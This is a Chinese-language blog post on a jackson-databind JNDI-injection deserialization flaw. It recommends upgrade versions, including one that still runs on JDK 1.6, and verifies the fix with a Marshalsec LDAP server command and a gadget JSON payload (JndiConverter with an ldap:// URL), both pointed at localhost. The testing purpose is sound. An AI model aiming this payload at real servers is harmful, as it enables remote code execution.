漏洞介绍

攻击者可以利用此漏洞通过JNDI注入的方式执行本地Web容器下的任意代码,后文中将测试LDAP方式的远程代码调用,受影响版参见:NVD

修复建议

网上能找到的大部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此方法的确行之有效,但是对于使用JDK1.6的老项目就比较尴尬,因为至2.8版本后jackson-databind字节码不再兼容JDK1.6,运行时会报Unsupported major.minor version 51.0错误,对于这种情况可以使用2.7.9.7版本修复,该版本的字节码仍然兼容JDK1.6,且确实具有修复效果,其佐证如下:

漏洞测试

此漏洞会将特定输入进行JNDI转换并执行,这里测试只测试到调用端收到请求,实际执行类并未编写,测试步骤:

  1. 使用Marshalsec工具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#ExportObject 1389
  1. 使用ObjectMapper.readValue方法对特定的字符串进行对象映射
ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

            String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
  1. 测试结果
漏洞版本:
Send LDAP reference result for ExportObject redirecting to http://localhost:8080/ExportObject.class
修复版本:没有收到LDAP请求

备注:以上观察结果为运行Marshalsec的控制台输出,修改jackson-databind后记得Maven需要Import Change。

附件中有测试项目,Marshalsec位于项目的resources目录下,可找到绝对路径调用。

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐